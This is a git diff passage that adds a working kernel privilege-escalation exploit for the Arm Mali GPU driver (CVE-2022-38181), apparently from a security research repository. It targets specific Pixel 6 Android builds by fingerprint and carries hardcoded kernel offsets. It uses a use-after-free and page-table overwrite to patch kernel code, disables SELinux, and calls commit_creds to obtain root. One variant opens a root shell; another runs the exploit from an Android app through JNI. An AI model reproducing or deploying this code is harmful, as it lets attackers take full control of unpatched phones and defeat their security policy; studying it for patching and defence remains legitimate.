fmt, ##__VA_ARGS__) + +#endif //SHELL + +#define MALI "/dev/mali0" + +#define PAGE_SHIFT 12 + +#define BASE_MEM_ALIAS_MAX_ENTS ((size_t)24576) + +#define PFN_DOWN(x) ((x) >> PAGE_SHIFT) + +#define SPRAY_PAGES 25 + +#define SPRAY_NUM 64 + +#define FLUSH_SIZE (0x1000 * 0x1000) + +#define SPRAY_CPU 0 + +#define POOL_SIZE 16384 + +#define RESERVED_SIZE 32 + +#define TOTAL_RESERVED_SIZE 1024 + +#define FLUSH_REGION_SIZE 500 + +#define NUM_TRIALS 100 + +#define KERNEL_BASE 0x80000000 + +#define OVERWRITE_INDEX 256 + +#define ADRP_INIT_INDEX 0 + +#define ADD_INIT_INDEX 1 + +#define ADRP_COMMIT_INDEX 2 + +#define ADD_COMMIT_INDEX 3 + +#define AVC_DENY_2108 0x92df1c + +#define SEL_READ_ENFORCE_2108 0x942ae4 + +#define INIT_CRED_2108 0x29a0570 + +#define COMMIT_CREDS_2108 0x180b0c + +#define ADD_INIT_2108 0x9115c000 + +#define ADD_COMMIT_2108 0x912c3108 + +#define AVC_DENY_2201 0x930af4 + +#define SEL_READ_ENFORCE_2201 0x9456bc + +#define INIT_CRED_2201 0x29b0570 + +#define COMMIT_CREDS_2201 0x183df0 + +#define ADD_INIT_2201 0x9115c000 + +#define ADD_COMMIT_2201 0x9137c108 + +#define AVC_DENY_2202 0x930b50 + +#define SEL_READ_ENFORCE_2202 0x94551c + +#define INIT_CRED_2202 0x29b0570 + +#define COMMIT_CREDS_2202 0x183e3c + +#define ADD_INIT_2202 0x9115c000 //add x0, x0, #0x570 + +#define ADD_COMMIT_2202 0x9138f108 //add x8, x8, #0xe3c + +#define AVC_DENY_2207 0x927664 + +#define SEL_READ_ENFORCE_2207 0x93bf5c + +#define INIT_CRED_2207 0x29e07f0 + +#define COMMIT_CREDS_2207 0x18629c + +#define ADD_INIT_2207 0x911fc000 //add x0, x0, #0x7f0 + +#define ADD_COMMIT_2207 0x910a7108 //add x8, x8, #0x29c + +#define AVC_DENY_2211 0x8d6810 + +#define SEL_READ_ENFORCE_2211 0x8ea124 + +#define INIT_CRED_2211 0x2fd1388 + +#define COMMIT_CREDS_2211 0x17ada4 + +#define ADD_INIT_2211 0x910e2000 //add x0, x0, #0x388 + +#define ADD_COMMIT_2211 0x91369108 //add x8, x8, #0xda4 + +#define AVC_DENY_2212 0x8ba710 + +#define SEL_READ_ENFORCE_2212 0x8cdfd4 + +#define INIT_CRED_2212 0x2fd1418 + +#define COMMIT_CREDS_2212 0x177ee4 + +#define ADD_INIT_2212 0x91106000 //add x0, x0, #0x418 + +#define ADD_COMMIT_2212 0x913b9108 //add x8, x8, #0xee4 + + +static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2207; + +static uint64_t avc_deny = AVC_DENY_2207; + +/* +Overwriting SELinux to permissive + strb wzr, [x0] + mov x0, #0 + ret +*/ +static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0}; + +static uint32_t root_code[8] = {0}; + +static uint8_t jit_id = 1; +static uint8_t atom_number = 1; +static uint64_t gpu_va[SPRAY_NUM] = {0}; +static int gpu_va_idx = 0; +static void* flush_regions[FLUSH_REGION_SIZE]; +static void* alias_regions[SPRAY_NUM] = {0}; +static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE]; + + +struct base_mem_handle { + struct { + __u64 handle; + } basep; +}; + +struct base_mem_aliasing_info { + struct base_mem_handle handle; + __u64 offset; + __u64 length; +}; + +static int open_dev(char* name) { + int fd = open(name, O_RDWR); + if (fd == -1) { + err(1, "cannot open %s\n", name); + } + return fd; +} + +void setup_mali(int fd, int group_id) { + struct kbase_ioctl_version_check param = {0}; + if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, ¶m) < 0) { + err(1, "version check failed\n"); + } + struct kbase_ioctl_set_flags set_flags = {group_id << 3}; + if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &set_flags) < 0) { + err(1, "set flags failed\n"); + } +} + +void* setup_tracking_page(int fd) { + void* region = mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE); + if (region == MAP_FAILED) { + err(1, "setup tracking page failed"); + } + return region; +} + +void jit_init(int fd, uint64_t va_pages, uint64_t trim_level, int group_id) { + struct kbase_ioctl_mem_jit_init init = {0}; + init.va_pages = va_pages; + init.max_allocations = 255; + init.trim_level = trim_level; + init.group_id = group_id; + init.phys_pages = va_pages; + + if (ioctl(fd, KBASE_IOCTL_MEM_JIT_INIT, &init) < 0) { + err(1, "jit init failed\n"); + } +} + +uint64_t jit_allocate(int fd, uint8_t atom_number, uint8_t id, uint64_t va_pages, uint64_t gpu_alloc_addr) { + struct base_jit_alloc_info info = {0}; + struct base_jd_atom_v2 atom = {0}; + + info.id = id; + info.gpu_alloc_addr = gpu_alloc_addr; + info.va_pages = va_pages; + info.commit_pages = va_pages; + info.extension = 0x1000; + + atom.jc = (uint64_t)(&info); + atom.atom_number = atom_number; + atom.core_req = BASE_JD_REQ_SOFT_JIT_ALLOC; + atom.nr_extres = 1; + struct kbase_ioctl_job_submit submit = {0}; + submit.addr = (uint64_t)(&atom); + submit.nr_atoms = 1; + submit.stride = sizeof(struct base_jd_atom_v2); + if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { + err(1, "submit job failed\n"); + } + return *((uint64_t*)gpu_alloc_addr); +} + +void jit_free(int fd, uint8_t atom_number, uint8_t id) { + uint8_t free_id = id; + + struct base_jd_atom_v2 atom = {0}; + + atom.jc = (uint64_t)(&free_id); + atom.atom_number = atom_number; + atom.core_req = BASE_JD_REQ_SOFT_JIT_FREE; + atom.nr_extres = 1; + struct kbase_ioctl_job_submit submit = {0}; + submit.addr = (uint64_t)(&atom); + submit.nr_atoms = 1; + submit.stride = sizeof(struct base_jd_atom_v2); + if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { + err(1, "submit job failed\n"); + } + +} + +void mem_flags_change(int fd, uint64_t gpu_addr, uint32_t flags, int ignore_results) { + struct kbase_ioctl_mem_flags_change change = {0}; + change.flags = flags; + change.gpu_va = gpu_addr; + change.mask = flags; + if (ignore_results) { + ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change); + return; + } + if (ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change) < 0) { + err(1, "flags_change failed\n"); + } +} + +void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) { + if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) { + err(1, "mem_alloc failed\n"); + } +} + +void mem_alias(int fd, union kbase_ioctl_mem_alias* alias) { + if (ioctl(fd, KBASE_IOCTL_MEM_ALIAS, alias) < 0) { + err(1, "mem_alias failed\n"); + } +} + +void mem_query(int fd, union kbase_ioctl_mem_query* query) { + if (ioctl(fd, KBASE_IOCTL_MEM_QUERY, query) < 0) { + err(1, "mem_query failed\n"); + } +} + +void mem_commit(int fd, uint64_t gpu_addr, uint64_t pages) { + struct kbase_ioctl_mem_commit commit = {.gpu_addr = gpu_addr, pages = pages}; + if (ioctl(fd, KBASE_IOCTL_MEM_COMMIT, &commit) < 0) { + err(1, "mem_commit failed\n"); + } +} + +void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22); + int prot = PROT_READ; + if (!read_only) { + alloc.in.flags |= BASE_MEM_PROT_GPU_WR; + prot |= PROT_WRITE; + } + alloc.in.va_pages = va_pages; + alloc.in.commit_pages = commit_pages; + mem_alloc(mali_fd, &alloc); + void* region = mmap(NULL, 0x1000 * va_pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + return region; +} + +uint64_t alloc_mem(int mali_fd, unsigned int pages) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = pages; + alloc.in.commit_pages = pages; + mem_alloc(mali_fd, &alloc); + return alloc.out.gpu_va; +} + +void free_mem(int mali_fd, uint64_t gpuaddr) { + struct kbase_ioctl_mem_free mem_free = {.gpu_addr = gpuaddr}; + if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) { + err(1, "free_mem failed\n"); + } +} + +uint64_t drain_mem_pool(int mali_fd) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22); + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = POOL_SIZE; + alloc.in.commit_pages = POOL_SIZE; + mem_alloc(mali_fd, &alloc); + return alloc.out.gpu_va; +} + +void release_mem_pool(int mali_fd, uint64_t drain) { + struct kbase_ioctl_mem_free mem_free = {.gpu_addr = drain}; + if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) { + err(1, "free_mem failed\n"); + } +} + +#define CPU_SETSIZE 1024 +#define __NCPUBITS (8 * sizeof (unsigned long)) +typedef struct +{ + unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; +} cpu_set_t; + +#define CPU_SET(cpu, cpusetp) \ + ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) +#define CPU_ZERO(cpusetp) \ + memset((cpusetp), 0, sizeof(cpu_set_t)) + +int migrate_to_cpu(int i) +{ + int syscallres; + pid_t pid = gettid(); + cpu_set_t cpu; + CPU_ZERO(&cpu); + CPU_SET(i, &cpu); + + syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); + if (syscallres) + { + return -1; + } + return 0; +} + +void* flush(int spray_cpu, int idx) { + migrate_to_cpu(spray_cpu); + void* region = mmap(NULL, FLUSH_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + if (region == MAP_FAILED) err(1, "flush failed"); + memset(region, idx, FLUSH_SIZE); + return region; +} + +void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22); + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = pages; + alloc.in.commit_pages = pages; + mem_alloc(mali_fd, &alloc); + reserved_va[i] = alloc.out.gpu_va; + } +} + +void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + void* reserved = mmap(NULL, 0x1000 * pages, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, reserved_va[i]); + if (reserved == MAP_FAILED) { + err(1, "mmap reserved failed"); + } + reserved_va[i] = (uint64_t)reserved; + } +} + +uint64_t alias_sprayed_regions(int mali_fd) { + union kbase_ioctl_mem_alias alias = {0}; + alias.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + alias.in.stride = SPRAY_PAGES; + + alias.in.nents = SPRAY_NUM; + struct base_mem_aliasing_info ai[SPRAY_NUM]; + for (int i = 0; i < SPRAY_NUM; i++) { + ai[i].handle.basep.handle = gpu_va[i]; + ai[i].length = SPRAY_PAGES; + ai[i].offset = 0; + } + alias.in.aliasing_info = (uint64_t)(&(ai[0])); + mem_alias(mali_fd, &alias); + uint64_t region_size = 0x1000 * SPRAY_NUM * SPRAY_PAGES; + void* region = mmap(NULL, region_size, PROT_READ, MAP_SHARED, mali_fd, alias.out.gpu_va); + if (region == MAP_FAILED) { + err(1, "mmap alias failed"); + } + alias_regions[0] = region; + for (int i = 1; i < SPRAY_NUM; i++) { + void* this_region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ, MAP_SHARED, mali_fd, (uint64_t)region + i * 0x1000 * SPRAY_PAGES); + if (this_region == MAP_FAILED) { + err(1, "mmap alias failed %d\n", i); + } + alias_regions[i] = this_region; + } + return (uint64_t)region; +} + +void fault_pages() { + int read = 0; + for (int va = 0; va < SPRAY_NUM; va++) { + uint8_t* this_va = (uint8_t*)(gpu_va[va]); + *this_va = 0; + uint8_t* this_alias = alias_regions[va]; + read += *this_alias; + } + LOG("read %d\n", read); +} + +int find_freed_idx(int mali_fd) { + int freed_idx = -1; + for (int j = 0; j < SPRAY_NUM; j++) { + union kbase_ioctl_mem_query query = {0}; + query.in.gpu_addr = gpu_va[j]; + query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE; + ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query); + if (query.out.value != SPRAY_PAGES) { + LOG("jit_free commit: %d %llu\n", j, query.out.value); + freed_idx = j; + } + } + return freed_idx; +} + +int find_pgd(int freed_idx, int start_pg) { + uint64_t* this_alias = alias_regions[freed_idx]; + for (int pg = start_pg; pg < SPRAY_PAGES; pg++) { + for (int i = 0; i < 0x1000/8; i++) { + uint64_t entry = this_alias[pg * 0x1000/8 + i]; + if ((entry & 0x443) == 0x443) { + return pg; + } + } + } + return -1; +} + +uint32_t lo32(uint64_t x) { + return x & 0xffffffff; +} + +uint32_t hi32(uint64_t x) { + return x >> 32; +} + +uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) { + uint64_t pc_page = pc >> 12; + uint64_t label_page = label >> 12; + int64_t offset = (label_page - pc_page) << 12; + int64_t immhi_mask = 0xffffe0; + int64_t immhi = offset >> 14; + int32_t immlo = (offset >> 12) & 0x3; + uint32_t adpr = rd & 0x1f; + adpr |= (1 << 28); + adpr |= (1 << 31); //op + adpr |= immlo << 29; + adpr |= (immhi_mask & (immhi << 5)); + return adpr; +} + +void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit) { + + uint32_t init_adpr = write_adrp(0, read_enforce, init_cred); + //Sets x0 to init_cred + root_code[ADRP_INIT_INDEX] = init_adpr; + root_code[ADD_INIT_INDEX] = add_init; + //Sets x8 to commit_creds + root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred); + root_code[ADD_COMMIT_INDEX] = add_commit; + root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] + root_code[5] = 0xd63f0100; // blr x8 + root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 + root_code[7] = 0xd65f03c0; // ret +} + +uint64_t set_addr_lv3(uint64_t addr) { + uint64_t pfn = addr >> PAGE_SHIFT; + pfn &= ~ 0x1FFUL; + pfn |= 0x100UL; + return pfn << PAGE_SHIFT; +} + +static inline uint64_t compute_pt_index(uint64_t addr, int level) { + uint64_t vpfn = addr >> PAGE_SHIFT; + vpfn >>= (3 - level) * 9; + return vpfn & 0x1FF; +} + +void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) { + void* jc_region = map_gpu(mali_fd, 1, 1, false, 0); + struct MALI_JOB_HEADER jh = {0}; + jh.is_64b = true; + jh.type = MALI_JOB_TYPE_WRITE_VALUE; + + struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0}; + payload.type = type; + payload.immediate_value = value; + payload.address = gpu_addr; + + MALI_JOB_HEADER_pack((uint32_t*)jc_region, &jh); + MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)jc_region + 8, &payload); + uint32_t* section = (uint32_t*)jc_region; + struct base_jd_atom_v2 atom = {0}; + atom.jc = (uint64_t)jc_region; + atom.atom_number = atom_number; + atom.core_req = BASE_JD_REQ_CS; + struct kbase_ioctl_job_submit submit = {0}; + submit.addr = (uint64_t)(&atom); + submit.nr_atoms = 1; + submit.stride = sizeof(struct base_jd_atom_v2); + if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { + err(1, "submit job failed\n"); + } + usleep(10000); +} + +void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) { + uint64_t func_offset = (func + KERNEL_BASE) % 0x1000; + uint64_t curr_overwrite_addr = 0; + for (int i = 0; i < size; i++) { + uint64_t base = reserved[i]; + uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000; + uint64_t start_idx = compute_pt_index(base, 3); + uint64_t end_idx = compute_pt_index(end, 3); + for (uint64_t addr = base; addr < end; addr += 0x1000) { + uint64_t overwrite_addr = set_addr_lv3(addr); + if (curr_overwrite_addr != overwrite_addr) { + LOG("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset); + curr_overwrite_addr = overwrite_addr; + for (int code = code_size - 1; code >= 0; code--) { + write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); + } + usleep(300000); + } + } + } +} + +int run_enforce() { + char result = '2'; + sleep(3); + int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY); + read(enforce_fd, &result, 1); + close(enforce_fd); + LOG("result %d\n", result); + return result; +} + +void select_offset() { + char fingerprint[256]; + int len = __system_property_get("ro.build.fingerprint", fingerprint); + LOG("fingerprint: %s\n", fingerprint); + if (!strcmp(fingerprint, "google/oriole/oriole:12/SD1A.210817.037/7862242:user/release-keys")) { + avc_deny = AVC_DENY_2108; + sel_read_enforce = SEL_READ_ENFORCE_2108; + fixup_root_shell(INIT_CRED_2108, COMMIT_CREDS_2108, SEL_READ_ENFORCE_2108, ADD_INIT_2108, ADD_COMMIT_2108); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220105.007/8030436:user/release-keys")) { + avc_deny = AVC_DENY_2201; + sel_read_enforce = SEL_READ_ENFORCE_2201; + fixup_root_shell(INIT_CRED_2201, COMMIT_CREDS_2201, SEL_READ_ENFORCE_2201, ADD_INIT_2201, ADD_COMMIT_2201); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys")) { + avc_deny = AVC_DENY_2202; + sel_read_enforce = SEL_READ_ENFORCE_2202; + fixup_root_shell(INIT_CRED_2202, COMMIT_CREDS_2202, SEL_READ_ENFORCE_2202, ADD_INIT_2202, ADD_COMMIT_2202); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ3A.220705.003/8671607:user/release-keys")) { + avc_deny = AVC_DENY_2207; + sel_read_enforce = SEL_READ_ENFORCE_2207; + fixup_root_shell(INIT_CRED_2207, COMMIT_CREDS_2207, SEL_READ_ENFORCE_2207, ADD_INIT_2207, ADD_COMMIT_2207); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:13/TP1A.221105.002/9080065:user/release-keys")) { + avc_deny = AVC_DENY_2211; + sel_read_enforce = SEL_READ_ENFORCE_2211; + fixup_root_shell(INIT_CRED_2211, COMMIT_CREDS_2211, SEL_READ_ENFORCE_2211, ADD_INIT_2211, ADD_COMMIT_2211); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.221205.011/9244662:user/release-keys")) { + avc_deny = AVC_DENY_2212; + sel_read_enforce = SEL_READ_ENFORCE_2212; + fixup_root_shell(INIT_CRED_2212, COMMIT_CREDS_2212, SEL_READ_ENFORCE_2212, ADD_INIT_2212, ADD_COMMIT_2212); + return; + } + + err(1, "unable to match build id\n"); +} + +void cleanup(int mali_fd, uint64_t pgd) { + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), 2, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); +} + +void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) { + uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + + usleep(100000); + //Go through the reserve pages addresses to write to avc_denied with our own shellcode + write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t)); + + //Triggers avc_denied to disable SELinux + open("/dev/kmsg", O_RDONLY); + + uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + + //Call commit_creds to overwrite process credentials to gain root + write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); +} + +void spray(int mali_fd) { + uint64_t cookies[32] = {0}; + for (int j = 0; j < 32; j++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (1 << 22); + alloc.in.va_pages = SPRAY_PAGES; + alloc.in.commit_pages = 0; + mem_alloc(mali_fd, &alloc); + cookies[j] = alloc.out.gpu_va; + } + for (int j = 0; j < 32; j++) { + void* region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookies[j]); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + gpu_va[j] = (uint64_t)region; + } + for (int j = 32; j < 64; j++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (1 << 22); + alloc.in.va_pages = SPRAY_PAGES; + alloc.in.commit_pages = 0; + mem_alloc(mali_fd, &alloc); + cookies[j - 32] = alloc.out.gpu_va; + } + for (int j = 32; j < 64; j++) { + void* region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookies[j - 32]); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + gpu_va[j] = (uint64_t)region; + } +} + +int trigger(int mali_fd, int mali_fd2, int* flush_idx) { + if (*flush_idx + NUM_TRIALS > FLUSH_REGION_SIZE) { + err(1, "Out of memory."); + } + void* gpu_alloc_addr = map_gpu(mali_fd, 1, 1, false, 0); + + uint64_t jit_pages = SPRAY_PAGES; + uint64_t jit_addr = jit_allocate(mali_fd, atom_number, jit_id, jit_pages, (uint64_t)gpu_alloc_addr); + atom_number++; + mem_flags_change(mali_fd, (uint64_t)jit_addr, BASE_MEM_DONT_NEED, 0); + for (int i = 0; i < NUM_TRIALS; i++) { + union kbase_ioctl_mem_query query = {0}; + query.in.gpu_addr = jit_addr; + query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE; + flush_regions[i] = flush(SPRAY_CPU, i + *flush_idx); + if (ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query) < 0) { + migrate_to_cpu(SPRAY_CPU); + spray(mali_fd); + for (int j = 0; j < SPRAY_NUM; j++) { + mem_commit(mali_fd, gpu_va[j], SPRAY_PAGES); + } + LOG("region freed %d\n", i); + + uint64_t alias_region = alias_sprayed_regions(mali_fd); + fault_pages(); + LOG("cleanup flush region\n"); + for (int r = 0; r < FLUSH_REGION_SIZE; r++) munmap(flush_regions[r], FLUSH_SIZE); + + uint64_t drain = drain_mem_pool(mali_fd); + release_mem_pool(mali_fd, drain); + + jit_free(mali_fd, atom_number, jit_id); + + map_reserved(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + LOG("jit_freed\n"); + int freed_idx = find_freed_idx(mali_fd); + if (freed_idx == -1) err(1, "Failed to find freed_idx"); + LOG("Found freed_idx %d\n", freed_idx); + int pgd_idx = find_pgd(freed_idx, 0); + if (pgd_idx == -1) err(1, "Failed to find pgd"); + uint64_t pgd = alias_region + pgd_idx * 0x1000 + freed_idx * (SPRAY_PAGES * 0x1000); + LOG("Found pgd %d, %lx\n", pgd_idx, pgd); + atom_number++; + write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0])); + run_enforce(); + cleanup(mali_fd, pgd); + return 0; + } + } + LOG("failed, retry.\n"); + jit_id++; + *flush_idx += NUM_TRIALS; + return -1; +} + +#ifdef SHELL + +int main() { + setbuf(stdout, NULL); + setbuf(stderr, NULL); + + select_offset(); + int mali_fd = open_dev(MALI); + + setup_mali(mali_fd, 0); + + void* tracking_page = setup_tracking_page(mali_fd); + jit_init(mali_fd, 0x1000, 100, 0); + + int mali_fd2 = open_dev(MALI); + setup_mali(mali_fd2, 1); + setup_tracking_page(mali_fd2); + reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + int flush_idx = 0; + for (int i = 0; i < 10; i++) { + if(!trigger(mali_fd, mali_fd2, &flush_idx)) { + system("sh"); + break; + } + } +} +#else +#include +JNIEXPORT int JNICALL +Java_com_example_hellojni_MaliExpService_stringFromJNI( JNIEnv* env, jobject thiz) +{ + setbuf(stdout, NULL); + setbuf(stderr, NULL); + + select_offset(); + int mali_fd = open_dev(MALI); + + setup_mali(mali_fd, 0); + + void* tracking_page = setup_tracking_page(mali_fd); + jit_init(mali_fd, 0x1000, 100, 0); + + int mali_fd2 = open_dev(MALI); + setup_mali(mali_fd2, 1); + setup_tracking_page(mali_fd2); + reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + int flush_idx = 0; + for (int i = 0; i < 10; i++) { + if(!trigger(mali_fd, mali_fd2, &flush_idx)) { + LOG("uid: %d euid %d", getuid(), geteuid()); + return 0; + } + } + return -1; +} +#endif + diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/midgard.h b/SecurityExploits/Android/Mali/CVE_2022_38181/midgard.h new file mode 100644 index 0000000..e0ce432 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_38181/midgard.h @@ -0,0 +1,260 @@ +#ifndef MIDGARD_H +#define MIDGARD_H + +//Generated using pandecode-standalone: https://gitlab.freedesktop.org/panfrost/pandecode-standalone + +#include +#include +#include +#include +#include +#include +#include + +#define pan_section_ptr(base, A, S) \ + ((void *)((uint8_t *)(base) + MALI_ ## A ## _SECTION_ ## S ## _OFFSET)) + +#define pan_section_pack(dst, A, S, name) \ + for (MALI_ ## A ## _SECTION_ ## S ## _TYPE name = { MALI_ ## A ## _SECTION_ ## S ## _header }, \ + *_loop_terminate = (void *) (dst); \ + __builtin_expect(_loop_terminate != NULL, 1); \ + ({ MALI_ ## A ## _SECTION_ ## S ## _pack(pan_section_ptr(dst, A, S), &name); \ + _loop_terminate = NULL; })) + + +static inline uint64_t +__gen_uint(uint64_t v, uint32_t start, uint32_t end) +{ +#ifndef NDEBUG + const int width = end - start + 1; + if (width < 64) { + const uint64_t max = (1ull << width) - 1; + assert(v <= max); + } +#endif + + return v << start; +} + +static inline uint64_t +__gen_unpack_uint(const uint8_t *restrict cl, uint32_t start, uint32_t end) +{ + uint64_t val = 0; + const int width = end - start + 1; + const uint64_t mask = (width == 64 ? ~0 : (1ull << width) - 1 ); + + for (int byte = start / 8; byte <= end / 8; byte++) { + val |= ((uint64_t) cl[byte]) << ((byte - start / 8) * 8); + } + + return (val >> (start % 8)) & mask; +} + +enum mali_job_type { + MALI_JOB_TYPE_NOT_STARTED = 0, + MALI_JOB_TYPE_NULL = 1, + MALI_JOB_TYPE_WRITE_VALUE = 2, + MALI_JOB_TYPE_CACHE_FLUSH = 3, + MALI_JOB_TYPE_COMPUTE = 4, + MALI_JOB_TYPE_VERTEX = 5, + MALI_JOB_TYPE_GEOMETRY = 6, + MALI_JOB_TYPE_TILER = 7, + MALI_JOB_TYPE_FUSED = 8, + MALI_JOB_TYPE_FRAGMENT = 9, +}; + +enum mali_write_value_type { + MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER = 1, + MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP = 2, + MALI_WRITE_VALUE_TYPE_ZERO = 3, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_8 = 4, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_16 = 5, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_32 = 6, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_64 = 7, +}; + + +struct MALI_WRITE_VALUE_JOB_PAYLOAD { + uint64_t address; + enum mali_write_value_type type; + uint64_t immediate_value; +}; + +struct MALI_JOB_HEADER { + uint32_t exception_status; + uint32_t first_incomplete_task; + uint64_t fault_pointer; + bool is_64b; + enum mali_job_type type; + bool barrier; + bool invalidate_cache; + bool suppress_prefetch; + bool enable_texture_mapper; + bool relax_dependency_1; + bool relax_dependency_2; + uint32_t index; + uint32_t dependency_1; + uint32_t dependency_2; + uint64_t next; +}; + + +static inline void +MALI_JOB_HEADER_pack(uint32_t * restrict cl, + const struct MALI_JOB_HEADER * restrict values) +{ + cl[ 0] = __gen_uint(values->exception_status, 0, 31); + 